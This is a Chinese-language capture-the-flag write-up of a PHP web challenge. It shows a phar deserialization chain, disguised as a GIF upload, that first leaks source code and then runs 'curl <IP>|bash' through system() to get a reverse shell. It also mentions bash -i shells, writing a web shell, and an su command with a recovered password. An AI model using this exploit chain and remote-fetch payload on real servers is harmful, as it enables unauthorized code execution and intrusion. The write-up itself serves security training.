来看这样一段代码:
会得到什么回显呢?

尽管会警告,但是还是执行了结果,所以我们可以通过数组配合()来调用类中的方法
进入页面:

上传文件+查询文件:phar警告
打开F12,发现有提示:

可以利用查询文件这里看一下有没有phar协议,先构造一下Phar序列化的包得到lib.php的源码
f = $value;
}
public function __wakeup()
{
$func = $this->f;
$func();
}
}
$a = new Test(array(Read,file_get));
$phar = new Phar('phar.phar');
$phar->setStub('GIF89a'.'');
$phar->setMetadata($a);
$phar->addFromString('1.txt','dky'); // phar:[phar.phar][system_get_you_filename]/1.txt
访问该文件后生成的phar.phar改名为:phar.gif

上传后提示了路径,那么就用phar协议读取一下:
phar://4623e4e6/4b3cf1ffc9224f4d830c5a29db854d15/1b33718042e7dfe8fac079be96ebc4d9.gif/1.txt

得到回显,这里建议使用burp传包,比较明显:

解码后:
old_id = "1"; $this->new_id = "0"; $this->p_id = "1"; } public function __get($value){ $new_id = $value; $this->old_id = random_bytes(16); if($this->old_id===$this->new_id){ system($this->p_id); } } } class Read{ public function file_get() { $text = base64_encode(file_get_contents("lib.php")); echo $text; } } class Files{ public $filename; public function __construct($filename){ $this->filename = $this->FilesWaf($filename); } public function __wakeup(){ $this->FilesWaf($this->filename); } public function __toString(){ return $this->filename; } public function __destruct(){ echo "Your file is ".$this->FilesWaf($this->filename)."."; } public function FilesWaf($name){ if(stristr($name, "/")!==False){ return "index.php"; } return $name; } } class Test{ public $f; public function __construct($value){ $this->f = $value; } public function __wakeup() { $func = $this->f; $func(); } } class User{ public $name; public $profile; public function __construct($name){ $this->name = $this->UserWaf($name); $this->profile = "I am admin."; } public function __wakeup(){ $this->UserWaf($this->name); } public function __toString(){ return $this->profile->name; } public function __destruct(){ echo "Hello ".$this->UserWaf($this->name)."."; } public function UserWaf($name){ if(strlen($name)>10){ return "admin"; } if(!preg_match("/[a-f0-9]/iu",$name)){ return "admin"; } return $name; } }又是构造反序列化链了,很明显要利用system函数:很简单的链子我就直接上payload了
old_id = "1"; $this->new_id = &$this->old_id; $this->p_id = "curl 47.107.232.51|bash"; // 多种选择 } public function __get($value){ $new_id = $value; $this->old_id = random_bytes(16); if($this->old_id===$this->new_id){ system($this->p_id); } } } class Files{ public $filename; public function __construct($filename){ $this->filename = $this->FilesWaf($filename); } public function __wakeup(){ $this->FilesWaf($this->filename); } public function __toString(){ return $this->filename; } public function __destruct(){ echo "Your file is ".$this->FilesWaf($this->filename)."."; } public function FilesWaf($name){ if(stristr($name, "/")!==False){ return "index.php"; } return $name; } } class Test{ public $f; public function __construct($value){ $this->f = $value; } public function __wakeup() { $func = $this->f; $func(); } } class User{ public $name; public $profile; public function __construct($name){ $this->name = $this->UserWaf($name); $this->profile = "I am admin."; } public function __wakeup(){ $this->UserWaf($this->name); } public function __toString(){ return $this->profile->name; } public function __destruct(){ echo "Hello ".$this->UserWaf($this->name)."."; } public function UserWaf($name){ if(strlen($name)>10){ return "admin"; } if(!preg_match("/[a-f0-9]/iu",$name)){ return "admin"; } return $name; } } $a = new Files(); $a->filename=new User(); $a->filename->profile=new Modifier(); $phar = new Phar('shell.phar'); $phar->startBuffering(); $phar->setStub(''); $phar->addFromString('test.txt','test'); $phar->setMetadata($a); $phar->stopBuffering();
那个system函数那里有几种选择,我说我已经知道的:
1.利用curl反弹shell
2.利用bash -i 反弹shelll(和1的原理差不多)
3.直接写马(echo "">shell.php)
我这里直接用第一种了。
先公网启用一个监听端口:

同样使用phar协议打进去:

之后成功反弹shell:

接下来就是拿flag了,但是根目录没有flag,起初的思路是用命令:
find / -name "flag"来

发现一个/home/flag,但是权限不够,以为要提权
后来看了wp发现,是根目录还有一个game,可以拿到flag账户的登陆密码,使用flag账户来拿flag。由于直接cat game太乱,于是写一个shell连接一下蚁剑:

之后再登陆flag账户,拿flag

也可以不登录,用su的来执行账户命令
echo "90a3f46888b32b4b1b104208957be421" | su - flag -c 'ls /home/flag'

提示flag的名字为这个,直接cat f*解决:
